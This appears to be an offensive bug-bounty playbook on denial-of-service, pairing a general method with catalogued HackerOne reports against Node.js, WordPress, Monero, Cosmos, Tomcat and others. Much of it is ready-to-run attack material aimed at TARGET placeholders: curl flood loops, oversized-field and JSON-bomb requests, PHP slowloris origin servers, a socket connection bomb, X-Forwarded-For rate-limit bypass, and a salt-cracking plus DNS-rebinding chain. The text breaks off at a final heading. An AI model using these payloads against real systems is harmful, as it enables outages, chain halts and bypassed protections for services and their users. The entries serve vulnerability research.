# Baseline limit probe: resend the mutation with an oversized field, watch 500 vs 400.
POST /graphql HTTP/1.1
Host: TARGET
Content-Type: application/json
{"query":"mutation{updateProfile(name:\"AAAA...<200000 chars>...\"){id}}"}
Group your candidate by which resource it exhausts, then use the matching primitive.
The UI caps a field; the API does not. Resend past the cap: an oversized value either 500s the backend or is stored and re-rendered for others. This is the single most common resource-DoS in the corpus.
# Client caps title/description; the create/edit API accepts megabytes.
# ~200KB -> stored client DoS; ~2MB -> backend 500 before 413 fires.
POST /moments HTTP/1.1
Host: TARGET
Content-Type: application/json
{"title":"<200001 chars>","description":"","is_production_only":true}
# Oversized FILENAME (not file body) stored on an avatar; re-rendered on every
# profile / report / participants fetch -> browser timeout for every viewer.
Content-Disposition: form-data; name="file"; filename="<3MB of chars>abc.png"
Bypass the client cap, store the bloated/malformed value once, then trigger the render surface that fans out to many viewers. A malformed URL, a heavy Mermaid diagram, or a giant relative-link path in markdown crashes each renderer.
# Plant the oversized value, then load a page that renders it for others and
# watch load-time / hang in DevTools. Stored client DoS = one write, many victims.
curl -s https://TARGET/reports/NNNNNN/participants/ # returns megabytes per view
# O(n)-in-state JSON with no per-endpoint rate limit: ~10 parallel = site paralysis.
for ((x=0; x<10; x++)); do ( curl https://TARGET/reports/NNNNNN.json & ); done
# Make it permanent: replay a bulk POST to add ~1000 tiny (0.001) activities
# until the response crosses the 30s CDN cutoff -> the report never loads again.
Attack the parser, not the app. A recursion limit set too high plus a body-size budget is enough to pin CPU. Duplicate-key tolerance lets you keep the request semantically valid (last-wins) while an earlier copy carries the bomb. Object-heavy deserializers amplify small inputs by orders of magnitude.
# Depth-98 objects repeated ~1747x under the 1MB cap; duplicate "params" (last wins)
# keeps the RPC valid while the earlier copy pins the receive thread's CPU.
{"jsonrpc":"2.0","id":"0","method":"get_info","params":{"a":{"a":{"a":"...x98..."}}},"params":{"real":"args"}}
Webhooks, URL previews, importers, and image proxies fetch an attacker-controlled origin. You control the response: drip a few KB every 9s to hold a worker forever, stream unbounded chunked data with no Content-Length, or feed a header that triggers catastrophic regex backtracking in the client's own parser.
// reverse-slowloris origin: a few KB every 9s, chunked -> one fetch worker held forever
<?php header('HTTP/1.1 500'); header('Content-Type: image/png');
for ($i = 0; $i < 200; $i++) { echo str_pad('hi', 4096, 'hiho'); flush(); sleep(9); } ?>
// unbounded chunked body: no Content-Length -> proxy buffers gigabytes into memory
<?php header('HTTP/1.1 500'); header('Content-Type: image/png');
$b = str_pad('hi', 1024 ** 2, 'hiho'); $t = 1024 ** 3;
while ($t > 0) { echo $b; $t -= 1024 ** 2; } ?>
# net/http ReDoS: a header value of many spaces NOT ending in a space -> quadratic sub.
# Read/connect timeouts DON'T fire: they are checked between header lines, never mid-regex.
HTTP/1.1 200 OK
X: a<950000 spaces>b
// The field is "meant" to be a string; JSON lets you send a Number to hit Buffer(size).
var client = require('memjs').Client.create();
setInterval(function () { client.set('key', 2e9, { expires: 600 }, function () {}); }, 200);
// leak (Node<8): client.set('key', 100, ...); client.get('key', (e, v) => console.log(v));
// Deep-merge sink writes onto Object.prototype; a poisoned key a later sink
// reads unguarded (options/formatter/parser) then throws -> reliable DoS gadget.
merge({}, JSON.parse('{"__proto__":{"blah":"crash"}}'));
Mint unbounded server-side files keyed on an attacker-controlled cookie, disk-fill via container config, or drive a global counter whose increment and decrement live on asymmetric code paths until a limit (OOM guard) trips.
# Each unique session-id cookie writes a *.cache file to a tiny /run tmpfs -> brick a router.
for i in $(seq 1 20000); do
curl -s -o /dev/null "http://TARGET/" -H "Cookie: beaker.session.id=sess$i"
done
Reach a handler that indexes or parses request data without a guard; an unrecovered panic/assert takes down the whole process and anything co-hosted. High blast radius when the crashed component gates cluster-wide operations.
// Empty ciphertext -> Ciphertext[0] index panic kills the KMS provider (V1+V2 share it)
// -> all Kubernetes Secret encryption/decryption blocked.
client.Decrypt(ctx, &v2pb.DecryptRequest{Ciphertext: []byte{}})
// panic: runtime error: index out of range [0] with length 0
Unbounded user inputs into arbitrary-precision math, malformed protocol lengths, or expensive precompiles stall or halt a node. When reviewing a security patch, hunt the other failure branches of the same call the fix guarded.
# Unbounded group weights feed a decimal division that can fail beyond div-by-zero:
# member A weight = "1e-50000", B = "1e50000"; A votes yes ->
# yesCount.Quo(totalPower) => "exponent out of range" -> panic in EndBlocker -> chain halt.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 296 in this class.
Real-world example
Batched JSON-RPC deadlock paralyzes Monero node
◆ Critical
Specimen #3307874 · monero · none · 92 votes · resolved
Program moneroSurface network
Root cause
Handling batched JSON-RPC requests, Monero RPC threads enter a circular wait on shared resources, deadlocking the node; a single unauthenticated HTTP request with the right batch methods paralyzes RPC/P2P/admin and only kill -9 recovers it.
Method
- Send an HTTP JSON-RPC request with a batch mixing valid, invalid and resource-heavy methods
- Repeat/parallelize (adaptive to 413/429) to drive threads into circular wait
- Node becomes fully unresponsive; SIGTERM/SIGINT ignored, requires SIGKILL
POST /json_rpc with a JSON array batch of mixed methods (get_block_headers_range, get_output_distribution, malformed entries) sent from many threads
Insight — Batch/multiplexed RPC endpoints that take shared locks per sub-request are prime deadlock DoS targets. Test batching valid+invalid+heavy methods together; a deadlock (vs slowdown) means even restarts hang -> critical availability bug.
Real-world example
Unbounded request-body buffering exceeds V8 max string length (Fastify crash)
◆ Critical
Specimen #303632 · nodejs-ecosystem · awarded · 25 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
Fastify (<=0.37.0) accumulated the full request payload as a single string before JSON.parse, with no size limit. A large streamed application/json body grows the string past V8's max string length (~2^30-25 bytes), throwing an uncaughtException that crashes the process, or exhausts memory first (CVE-2018-3711).
Method
- Confirm the app is Fastify with a JSON body route and no reverse-proxy body-size cap
- POST Content-Type: application/json and stream a payload larger than V8's max string length (~1GB)
- Process crashes with uncaughtException; a few parallel requests OOM it quickly
POST / with Content-Type: application/json, stream ~1GB+ of bytes (e.g. write a 100KB Buffer 20000 times before ending the request)
Insight — Frameworks that buffer the whole body as a string/Buffer before parsing are memory/crash DoS targets when no size limit precedes parsing. Test with oversized bodies; the V8 max-string-length crash is distinctive. Mitigate with a body-size limit at the proxy and framework level.
Real-world example
WordPress wp-cron.php request flood
◆ Critical
Specimen #1888723 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
WordPress runs scheduled tasks by having every front-end visit hit wp-cron.php, which is unauthenticated and unthrottled. Directly flooding wp-cron.php forces the server to spin up expensive cron runs per request, exhausting resources (502).
Method
- Confirm /wp-cron.php is reachable
- Flood it with concurrent requests (e.g. doser.py)
- Server resources exhaust; site returns 502
python3 doser.py -t 999 -g 'https://TARGET/wp-cron.php'
Insight — On any WordPress target, wp-cron.php is a free unauth resource-amplification endpoint. Remediation (and detection of a hardened target) is DISABLE_WP_CRON=true + real server cron. Pair this test with load-scripts.php (see #690330).
Real-world example
Malformed subjectAltName crashes Node TLS server (getPeerCertificate)
◆ Critical
Specimen #746733 · nodejs · awarded · 15 votes · resolved
Program nodejsSurface other
Root cause
A client certificate carrying an unexpected ASN.1 string type (type 19) in its subjectAltName triggers an assertion in node_crypto.cc when the server reads the peer certificate, remotely crashing any TLS server that calls getPeerCertificate() with requestCert enabled.
Method
- Use node-forge to build a client cert with an odd-typed string in subjectAltName
- Connect to a Node TLS server that has requestCert:true and calls socket.getPeerCertificate()
- Server hits an assertion and crashes -> remote DoS
// server calls socket.getPeerCertificate() on a client cert whose SAN uses ASN.1 type 19 -> assertion crash
Insight — Certificate parsers assert or crash on malformed-but-parseable fields (unusual ASN.1 string types in SAN/CN). Fuzz certificate fields against any service that requests/parses client certs; an attacker-supplied cert is a reachable input.
Real-world example
Node.js HTTP/2 reachable assert via malformed SETTINGS frames
◆ Critical
Specimen #800140 · nodejs · USD 250 · 14 votes · resolved
Program nodejsSurface web
Root cause
A malformed HTTP/2 SETTINGS frame reaches an internal assertion in node_http2.cc; sending ~25 in a row makes the process abort with SIGABRT — an unauthenticated remote crash.
Method
- Complete the HTTP/2 connection preface to a target h2 server
- Open a connection and send the malformed SETTINGS (settings-anomaly) frame repeatedly (~25x)
- Node process hits the assert and exits with SIGABRT
# send crafted malformed HTTP/2 SETTINGS frame in a loop on a fresh connection until SIGABRT (~25 iterations)
Insight — Reachable asserts in protocol parsers are DoS gold: fuzz framed binary protocols (HTTP/2, QUIC, WebSocket) with malformed control frames and watch for abort()/assertion exits rather than graceful errors.
Real-world example
Buffer(int) allocation DoS + uninitialized-memory leak in memjs (CVE-2018-3767)
◆ Critical
Specimen #319809 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface apiChain Buffer(int) -> DoS; and (Node<8) uninitialized memory
Root cause
memjs passes an attacker-controlled value straight to the legacy Buffer constructor; a numeric value makes Buffer(number) allocate that many bytes (huge -> DoS) and on Node <8 returns uninitialized memory that gets stored and later readable (info leak).
Method
- Reach a sink where typed/JSON input sets the memcache 'value' (e.g. a number)
- Set value to a large integer (e.g. 2e9) -> Buffer(2e9) allocates ~2GB per call -> DoS
- On Node <8, set value to a small int, store, then GET to read leaked uninitialized memory
var client = require('memjs').Client.create();
function tick(){ client.set('key', 2e9, {expires:600}, ()=>{}); }
setInterval(tick, 200);
// leak (Node<8): client.set('key',100,{expires:600},()=>{}); client.get('key', (e,v)=>console.log(v));
Insight — Any code path where user input reaches Buffer(x)/new Buffer(x) with x possibly a Number is both a memory-DoS and (pre-Node-8) an uninitialized-memory disclosure. Grep for Buffer( with non-string args; JSON gives attackers type control.
Real-world example
WordPress load-scripts.php unauthenticated resource-exhaustion amplification (CVE-2018-6389)
◆ Critical
Specimen #1887996 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
wp-admin/load-scripts.php concatenates every script handle named in the load= list without authentication; requesting the full list of ~180 registered handles forces heavy CPU/IO per request, and the request is unauthenticated so it amplifies trivially.
Method
- Confirm /wp-admin/load-scripts.php (and load-styles.php) are reachable without auth.
- Request load= with the complete registered handle list to maximise work per request.
- Drive it concurrently (e.g. doser.py) to exhaust the server.
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,jquery,jquery-ui-core,...,svg-painter HTTP/1.1
# tool:
python3 doser.py -g "https://TARGET/wp-admin/load-scripts.php?load=<full-handle-list>"
Insight — Look for unauthenticated asset-concatenation/bundler endpoints that accept a caller-supplied list of modules; the amplification factor is the number of items you can name in one request. Same pattern on load-styles.php.
Real-world example
Slow-request / never-complete connection exhaustion (Slowloris family) against network daemons
◆ Critical
Specimen #868834 · nodejs · 250 · 8 votes · resolved
Program nodejsSurface web
Root cause
A server that accepts connections but imposes no (or a disabled/too-large) timeout on completing the request phase can be tied up by many connections that send headers/body one byte at a time or never finish; sockets/threads/fd's are held until exhaustion (Node CVE-2020-8251; Node changed default request timeout to 0 in 13.0.0 removing the countermeasure).
Method
- Open many connections to the target service.
- Send a partial request and then trickle bytes (or nothing) to keep each connection alive below any idle timeout.
- Keep opening connections until the server can no longer accept new ones / runs out of workers or file descriptors.
- Variant (fd/connection flood #543782): simply open the maximum number of concurrent sockets and hold them idle.
# slow body variant (Node/body-parser, #799072):
GET / HTTP/1.1\r\nHost: T\r\nContent-Type: application/json\r\nContent-Length: 5000\r\n\r\n[" <- then write 1 byte/sec
# connection-bomb variant (Monero, #543782):
import socket,resource; resource.setrlimit(resource.RLIMIT_NOFILE,(131072,131072))
c=[]
while True: c.append(socket.create_connection(("TARGET",18080)))
# slowloris variant (Monero RPC, #416494): 1000 sockets, headers at 700ms intervals
Insight — On any long-lived service (HTTP, RPC daemon, P2P port) test for: (1) no request-completion timeout, (2) unbounded concurrent connections, (3) no per-IP connection cap. Header-only timeouts do not cover the body phase; body-parsing is app-level and usually unguarded.
Real-world example
WordPress load-scripts.php unauthenticated resource-exhaustion (CVE-2018-6389)
◆ Critical
Specimen #1861569 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
WordPress load-scripts.php (admin script concatenator) is reachable pre-auth and will read+concatenate every registered handle passed in load=, with no count/size limit, so one request forces the server to assemble a huge bundle; repeated requests deplete CPU/IO.
Method
- Confirm target is WordPress with load-scripts.php reachable
- Request /wp-admin/load-scripts.php?load=<all registered handles> (full list from wp-includes/script-loader.php)
- Repeat/parallelize; server resources are depleted
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,jquery,jquery-ui-core,...,svg-painter HTTP/1.1
Host: TARGET
# full comma-separated handle list from wp-includes/script-loader.php; loop this request
Insight — Any framework endpoint that bundles/minifies a caller-specified list of assets with no cap is a pre-auth DoS. Look for asset concatenators (load-scripts.php, load-styles.php, combine=..., ?files=a,b,c). Cheap request, expensive server-side assembly = asymmetric amplification.
Real-world example
Bypass localhost/IP blacklist via signed-param crack + DNS rebinding to reach DDoS/SSRF target
◆ Critical
Specimen #1065493 · h1-ctf · none · 4 votes · resolved
Program h1-ctfSurface webChain salt brute-force -> forged signed param -> DNS rebindiTag cloud-aws
Root cause
Server signs a `target` param with md5(salt+value) and blacklists 127.0.0.1 by resolving the hostname once; the salt is brute-forceable and the resolve-check/resolve-use gap allows DNS rebinding to a blacklisted IP.
Method
- Recover HMAC/signature salt: build wordlist of `salt+message`, hashcat -m0 against the known md5(salt+value) to bypass integrity check
- Point target at a hostname you control that resolves to a whitelisted IP then to 127.0.0.1 with short TTL (rbndr.us)
- Sign the rebinding hostname with the cracked salt; server passes blacklist on first resolve, then hits 127.0.0.1 on second resolve
# crack salt
cat rockyou.txt | awk '{print $0"203.0.113.33"}' > wl.txt
hashcat -m 0 -a 0 hash.txt wl.txt # -> mrgrinch463
# rebinding host 7f000001.cb007121.rbndr.us (whitelist->127.0.0.1)
echo -n mrgrinch4637f000001.cb007121.rbndr.us | md5sum
{"target":"7f000001.cb007121.rbndr.us","hash":"54171d97f5299ef84c1c01a676eaa917"}
Insight — When an app 'protects' a param with md5(secret+value), it is a crackable salted hash, not an HMAC-key; recover the salt offline. IP blacklists that resolve-then-resolve are defeated by DNS rebinding (rbndr.us / lock.cmpxchg8b.com) with low TTL.
Real-world example
HTTP/2 unknownProtocol: no session timeout -> FD/memory leak
◆ Critical
Specimen #1043360 · nodejs · awarded · 3 votes · resolved
Program nodejsSurface apiTag webhook
Root cause
Node http2 server waits indefinitely for a client response to the 'unknownProtocol' error; if the attacker opens many connections then goes silent, sockets/file descriptors and memory are never released (leak until FD limit / OOM).
Method
- Open many TCP/TLS connections to an http2 server sending data that fires the unknownProtocol event
- Close early or never respond to the error message
- FDs and memory grow unbounded (>7000 FDs, 400MB in ~30s) and are never freed
# open thousands of connections, send garbage that triggers 'unknownProtocol', then stall
# server never times out the session -> FD + heap leak until FD limit / OOM
# fix pattern: on('unknownProtocol', s => { const t=setTimeout(()=>!s.destroyed&&s.destroy(),10000); t.unref(); s.once('close',()=>clearTimeout(t)); s.end(); })
Insight — For any event/error handler that emits a message and awaits a client reply, ask 'what if the client never replies?' Missing forced-destroy timeouts on error paths leak FDs/memory. Vuln scanners (OpenVAS/Greenbone) that half-open connections surface these.
Real-world example
Rate-limit bypass via rotating X-Forwarded-For
◆ High
Specimen #723974 · moneybird · awarded · 163 votes · resolved
Program moneybirdSurface webChain rate-limit bypass -> email flooding / brute force / DoS
Root cause
The rate limiter keyed on the client IP taken from a spoofable X-Forwarded-For header; sending a fresh random XFF per request never triggers the 429, enabling brute force, email flooding and DoS.
Method
- Trigger a rate-limited action (password reset) and confirm 429 after N requests
- Add X-Forwarded-For with a random IP on each request
- Observe requests never hit 429; scale to flood the target
POST /passwords HTTP/1.1
Host: TARGET
X-Forwarded-For: 1.2.3.<random>
email=victim@example.com
Insight — If a 429 disappears when you vary X-Forwarded-For / X-Real-IP / X-Client-IP, the limiter trusts a client header. This unlocks flooding/brute-force/email-bomb DoS. Always test rate limits with a rotating XFF.
Real-world example
Unbounded display name -> server 500 + Android crash + contact-list DoS
◆ High
Specimen #1018037 · basecamp · 1000 · 131 votes · resolved
Program basecampSurface web
Root cause
The user display name has no length validation; a very long name causes a 500 on the backend and, because the name is rendered in inbox/contacts/message views, hangs or crashes clients (notably the Android app) wherever it appears.
Method
- PATCH the profile name to an extremely long value via /contacts/{id}/user/edit
- Longer values return 500 (server-side resource consumption)
- Send a message from the long-named account; every folder/contact view showing it slows drastically or the app hangs
name=<very long string, several hundred KB> (submitted to /contacts/<id>/user/edit)
Insight — Names/identifiers rendered across many surfaces are high-leverage DoS fields: one oversized value degrades every view that lists the user. Always test length limits on names, both server (5xx) and client (render hang).
Real-world example
Negative RLP length -> infinite UDP-processing loop / OOM (RSKJ node)
◆ High
Specimen #2105808 · rootstocklabs · 5000 · 120 votes · resolved
Program rootstocklabsSurface network
Root cause
The RLP decoder's bytesToLength can return a negative value making the decoded length 0 while the read position stays unchanged; the UDP handler then loops forever on the same packet, blocking all other packets and eventually OOM-crashing the node.
Method
- Run the RSKJ node exposing the UDP discovery port (5050)
- Send a crafted UDP packet whose RLP-encoded length field decodes to a negative/zero length
- The server processes only that one packet forever, ignoring all peers, and crashes OOM after minutes
Crafted UDP packet with an RLP length prefix chosen so RLP.decode2/bytesToLength returns a negative value (length -> 0, position not advanced).
Insight — In binary/length-prefixed parsers, a length that can go negative or zero without advancing the cursor is an infinite-loop DoS. Audit decoders (RLP, protobuf, custom TLV) for missing 'length must be > 0 and cursor must advance' checks.
Real-world example
Chain halt via decimal exponent-out-of-range (incomplete div-by-zero fix)
◆ High
Specimen #3018307 · cosmos · $15000 · 88 votes · resolved
Program cosmosSurface otherChain Malicious group weights -> failing decimal division ->
Root cause
A prior fix guarded only the div-by-zero case of a decimal Quo, but Quo can also fail with 'exponent out of range'; with no bounds on group member weights, crafted extreme weights make the tally division error and panic in the EndBlocker, halting the chain.
Method
- Read the patch for the original advisory and identify the remaining unhandled error paths of the same operation
- Create a group whose members have extreme weights (e.g. 1e-50000 and 1e50000)
- Submit and vote yes with the tiny-weight member
- doTallyAndUpdate's yesCount.Quo(totalPower) returns 'exponent out of range', panics in EndBlocker -> chain halt
// members with unbounded weights
// member A weight = "1e-50000", member B weight = "1e50000"
// A votes yes -> yesCount.Quo(totalPowerDec) => "decimal quotient error: exponent out of range"
// panic reached from EndBlocker => full chain halt
Insight — When reviewing a security patch, don't stop at the one error branch it guarded. Ask what OTHER conditions the same call can fail under (overflow, exponent range, precision) and whether inputs feeding it are bounds-checked. Unbounded user-supplied weights/amounts into arbitrary-precision math are a reliable panic/DoS source.
Real-world example
modexp precompile bug -> 8-minute EVM stall via crafted contract
◆ High
Specimen #2412583 · rootstocklabs · awarded · 84 votes · resolved
Program rootstocklabsSurface network
Root cause
A bug in the modexp (0x05) precompile lets a crafted contract cause disproportionately long computation / memory allocation relative to gas charged, so a single transaction stalls execution for minutes and can OOM the node -> network stall.
Method
- Deploy/execute the crafted bytecode that repeatedly invokes the modexp precompile with adversarial parameters
- Measure execution: a small gas budget yields ~8 min real time / OutOfMemoryError
- At network scale this stalls block processing
EVM bytecode invoking modexp (precompile 0x05) with crafted base/exponent/modulus sizes; see report PoC hex (3332335b59313660d5...).
Insight — Precompile gas metering that underprices worst-case inputs is a consensus-level DoS. When auditing EVM chains, stress precompiles (modexp, pairing, ecrecover) with adversarial large operands and compare wall-time vs gas charged.
Real-world example
Oversized draft payload bypasses validation -> Discourse resource exhaustion
◆ High
Specimen #3400140 · discourse · 1024 · 83 votes · resolved
Program discourseSurface web
Root cause
POST /drafts.json accepts ~800k-char payloads that normal post validation would reject; the server processes and still saves the draft despite returning 502, and multiple large drafts push response times past 30s -> resource exhaustion.
Method
- Log in and intercept a draft-save request (POST /drafts.json)
- Set the draft content to an ~800,000-char payload
- Submit; get 502 but the draft is saved. Create several unique large drafts (distinct keys) in parallel
- Observe response times climbing to 30s+ for other requests
POST /drafts.json with draft/data field = ~800,000 char string (unique draft_key per request to avoid 'already editing')
Insight — Secondary/auxiliary endpoints (drafts, autosave, previews) often skip the strict validation of the primary action, becoming an unvalidated large-payload sink. Hunt for endpoints that persist content without the main size/format checks.
Real-world example
HTTP/2 CONTINUATION + abrupt close -> Node Http2Session assertion crash (CVE-2024-27983)
◆ High
Specimen #2319584 · nodejs · none · 65 votes · resolved
Program nodejsSurface other
Root cause
Sending HEADERS + CONTINUATION frames without END_HEADERS and then abruptly closing the TCP connection leaves nghttp2 memory non-zero when the Http2Session destructor runs, tripping CHECK_EQ(current_nghttp2_memory_,0) and aborting the process.
Method
- Open a TCP connection to a Node HTTP/2 server (h2c or TLS)
- Send init frames, a HEADERS frame (no END_HEADERS), and a CONTINUATION frame (no END_HEADERS)
- Abruptly close the TCP connection to trigger the destructor mid-processing
- Loop to keep crashing; requests never complete so they are absent from logs
HTTP/2: SETTINGS + HEADERS(GET /, no END_HEADERS) + CONTINUATION(1 header, no END_HEADERS) then RST/close TCP. (Go PoC exploit2.go in report)
Insight — HTTP/2 CONTINUATION handling + abrupt teardown is a rich crash surface (memory accounting/assertions). Because incomplete requests never form a full HTTP request, they evade logging and rate limits. Test partial HEADERS/CONTINUATION then RST against any HTTP/2 stack.
Real-world example
Tomcat HTTP/2 stream miscount -> infinite timeout connection leak (CVE-2024-34750)
◆ High
Specimen #2586226 · ibb · 4920 · 60 votes · resolved
Program ibbSurface other
Root cause
Under excessive HTTP/2 headers, Tomcat miscounts active HTTP/2 streams, which leads it to apply an incorrect infinite timeout so connections that should be closed stay open, exhausting memory or reaching maxConnections.
Method
- Open HTTP/2 connections to an affected Tomcat (9.0.0-M1..9.0.89 / 10.1.0-M1..10.1.24 / 11.0.0-M1..M20)
- Send streams with excessive headers so active-stream counting is wrong
- Connections get an infinite timeout and are never closed; repeat to exhaust memory / maxConnections
HTTP/2 streams carrying excessive header counts, sized to break Tomcat's active-stream accounting.
Insight — State counters that gate timeouts (active streams, in-flight requests) are DoS targets: make the count wrong and resources are never reclaimed. For HTTP/2 servers, probe excessive-headers / stream-count edge cases and watch for never-closing connections.
Real-world example
Range header amplification DoS
◆ High
Specimen #2520679 · ibb · USD 5420 · 56 votes · resolved
Program ibbSurface web
Root cause
Rack::File / Rack::Utils.byte_ranges honored crafted multi-range Range request headers, letting a small request force the server to buffer/emit an unexpectedly large response (CVE-2024-26141).
Method
- Target a Rack/Rails app serving files via Rack::File
- Send a Range header with many/overlapping crafted byte ranges
- Server assembles a disproportionately large response
- Repeat to exhaust bandwidth/memory
GET /asset HTTP/1.1
Host: TARGET
Range: bytes=0-0,0-1,0-2,... # many crafted ranges -> oversized response
Insight — Range header parsing is a recurring DoS sink: multi-range requests can amplify output far beyond the resource size. Audit any file-serving middleware for range-count/size caps.
Real-world example
ReDoS in Ruby Time.rfc2822 reachable via request header (CVE-2023-28756)
◆ High
Specimen #1929567 · ibb · 4000 · 51 votes · resolved
Program ibbSurface other
Root cause
Ruby's Time parser (Time.rfc2822 / time gem <=0.2.1, Ruby <=2.7.7) backtracks on invalid strings with specific characters; because Rack::ConditionalGet parses request date headers with Time.rfc2822, a crafted header triggers ReDoS remotely (Rails uses ConditionalGet by default).
Method
- Send a request through a Rails/Rack app using Rack::ConditionalGet
- Set a conditional date header (e.g. If-Unmodified-Since) to a malicious string that maximizes Time.rfc2822 backtracking
- Request handling CPU spikes
# reachable sink: Rack::ConditionalGet parses header via Time.rfc2822(header_value)
# supply an invalid rfc2822 date crafted for catastrophic backtracking in the Time regex
If-Unmodified-Since: <long malformed rfc2822-ish date string>
Insight — Trace library ReDoS to a remotely reachable sink before dismissing it as 'low'. Standard-library date/time parsers invoked on attacker-controlled HTTP headers (via framework middleware defaults) turn an internal ReDoS into an unauthenticated request-level DoS.
Real-world example
Memory exhaustion via unbounded collection in P2P peer discovery
◆ High
Specimen #363636 · rootstocklabs · 4000 · 50 votes · resolved
Program rootstocklabsSurface network
Root cause
When the node distance table (cap 4096) is full, extra handshakes create entries in NodeChallengeManager.activeChallenges, but entries are only removed if the peer replies to the challenge ping; a peer that never replies leaves entries forever, and the map is never purged, so unique NodeIDs accumulate until JVM OutOfMemoryError.
Method
- Complete ping<->pong handshakes with the target using random unique NodeIDs to fill the distance table
- Continue handshakes so each triggers startChallenge() -> a new activeChallenges entry
- Never answer the challenge ping; entries accumulate (map never purged) until ~200k insertions crash the JVM
# flood target with handshakes bearing random NodeIDs, disconnect before answering challenge:
# PeerFlood <local_addr> <target_addr> <target_port> <num_threads>
# each thread: send ping, receive pong+ping, send pong (fills distance table), then ignore challenge ping
Insight — In stateful network/P2P code look for maps/queues that are added-to on one event but only removed on a response the attacker controls (or never), with no size cap or TTL sweep. Identity keyed by attacker-chosen ID (NodeID) rather than host/port defeats per-source rate limits.
Real-world example
Infinite loop in PHP convert.iconv stream filter (CVE-2018-10546)
◆ High
Specimen #505278 · ibb · awarded · 44 votes · resolved
Program ibbSurface other
Root cause
PHP's convert.iconv.* stream filter with //IGNORE enters an endless loop on certain byte sequences, spinning a worker at 100% CPU; reachable anywhere user data is passed through iconv stream filters.
Method
- Attach the convert.iconv.iso-10646/utf8//IGNORE filter to a stream containing triggering bytes
- Read the stream
- The PHP process loops forever, exhausting CPU / php-fpm workers
<?php
$fh = fopen('php://memory','rw');
fwrite($fh,"abc"); rewind($fh);
stream_filter_append($fh,'convert.iconv.iso-10646/utf8//IGNORE',STREAM_FILTER_READ,[]);
echo stream_get_contents($fh); // endless loop, 100% CPU
Insight — Encoding-conversion routines (iconv, mbstring) are recurring infinite-loop/DoS sinks. If an app lets user input choose or flow through charset conversion filters, test malformed byte sequences with //IGNORE//TRANSLIT variants for hangs.
Real-world example
HTTP/2 CONTINUATION flood -> heap exhaustion (CVE-2024-24549 / CVE-2024-27316)
◆ High
Specimen #2334401 · ibb · 4860 · 42 votes · resolved
Program ibbSurface web
Root cause
HTTP/2 servers buffer header fields delivered across HEADERS + many CONTINUATION frames before resetting the stream when limits are exceeded; by sending headers up to (but not over) the size/overhead limits and never setting END_HEADERS, connections stay alive with buffered headers held in memory, and a few such connections exhaust the heap (OutOfMemoryError / OOM).
Method
- Open an HTTP/2 connection to the target
- Send a HEADERS frame then N CONTINUATION frames of headers sized just under the server's limits so no GOAWAY/ENHANCE_YOUR_CALM is sent
- Leave the connection idle (never send END_HEADERS) and open more connections; buffered headers pile up until OOM
# exploit (Go) skeleton, per report:
# per connection: HEADERS frame + 8x CONTINUATION frames, each 100 headers of 10-char name/value
# (just under header count/size limits so connection isn't dropped); last frame WITHOUT END_HEADERS
# go run exploit.go -address TARGET:PORT -connections 50
Insight — CONTINUATION frames let an attacker stream unbounded header data that servers buffer before enforcing limits. Because no full request completes (no END_HEADERS), the attack leaves NO entries in access logs, so defenders can't see it. Same primitive hit Tomcat (CVE-2024-24549) and Apache httpd (413-buffering, CVE-2024-27316); only fix is a patch or disabling HTTP/2.
Real-world example
Unbounded HTTP chunk-extension bytes bypass timeouts (Node.js CVE-2024-22019)
◆ High
Specimen #2375446 · ibb · 3495 · 40 votes · resolved
Program ibbSurface web
Root cause
Node.js HTTP servers read an unbounded number of chunk-extension bytes on a chunked-encoded request from a single connection; because these bytes are unprocessed framing (not body), standard defenses (request timeout, body-size limit) don't apply, so one connection exhausts CPU and network bandwidth.
Method
- Open a keep-alive connection to a Node.js HTTP server
- Send a chunked-encoded request where each chunk carries an enormous chunk-extension (the bytes after the chunk size, before CRLF)
- Server reads unbounded bytes on the connection - CPU/bandwidth DoS not stopped by timeouts or body limits
POST / HTTP/1.1\r\nHost: TARGET\r\nTransfer-Encoding: chunked\r\n\r\n
1;<millions of chunk-extension bytes here>\r\nA\r\n...
# the ';...'-extension after the chunk size is read unbounded; affects Node 18/20/21
Insight — HTTP framing has under-validated axes beyond the body: chunk extensions, trailer headers, header line count. These are read before/around normal limits, so body-size and timeout guards miss them. When testing HTTP servers/proxies, fuzz chunk-extension length and trailers, not just body size.
Real-world example
HTTP/2 server crash via Http2Session destructor race (CVE-2024-27983)
◆ High
Specimen #2453328 · ibb · 3645 · 39 votes · resolved
Program ibbSurface web
Root cause
Sending HTTP/2 headers via CONTINUATION frames and then abruptly closing the TCP connection triggers the Http2Session destructor while header frames are still being processed, leaving data in nghttp2 memory after reset - a race that fails an assertion and crashes the Node.js server after only a few frames.
Method
- Open an HTTP/2 connection and begin sending headers spread over CONTINUATION frames
- Abruptly close the TCP connection while headers are still being processed
- Http2Session destructor races with in-flight header processing -> assertion failure -> instant server crash
# send a HEADERS + CONTINUATION frame sequence, then RST/close the TCP connection
# mid-processing so ~Http2Session() runs while nghttp2 still holds header data
# -> assertion in node::http2::Http2Session::~Http2Session() -> crash (Node 18/20/21)
Insight — Teardown/destructor paths that run concurrently with in-flight frame processing are a rich crash-DoS class (compare Tor #3701692 accounting-on-teardown). For protocol servers, test abrupt connection close at every processing stage; asymmetry between the normal cleanup path and the abort path is where assertions fire.
Real-world example
Node/Fastify Web Stream OOM (backpressure ignored)
◆ High
Specimen #3524779 · fastify · none · 35 votes · resolved
Program fastifySurface api
Root cause
sendWebStream pulls from a ReadableStream and calls res.write() without honoring its false return value (TCP backpressure), so a stalled/non-reading client makes the server buffer the whole stream in memory.
Method
- Find an endpoint that returns a Web/Readable stream
- Open a raw socket, send the request headers, then never read the response body
- Server buffers indefinitely -> RSS grows -> OOM crash
const client = connect(port, 'localhost', () => {
client.write('GET /stream HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n')
})
// intentionally add NO 'data' listener -> TCP window closes, server keeps buffering
Insight — Any streaming response handler that ignores write() backpressure is a slow-client OOM DoS; the exploit is simply 'connect and don't read'. Audit custom stream pipes for the missing drain/backpressure check.
Real-world example
Stored oversized field poisons downstream read APIs (persistent DoS)
◆ High
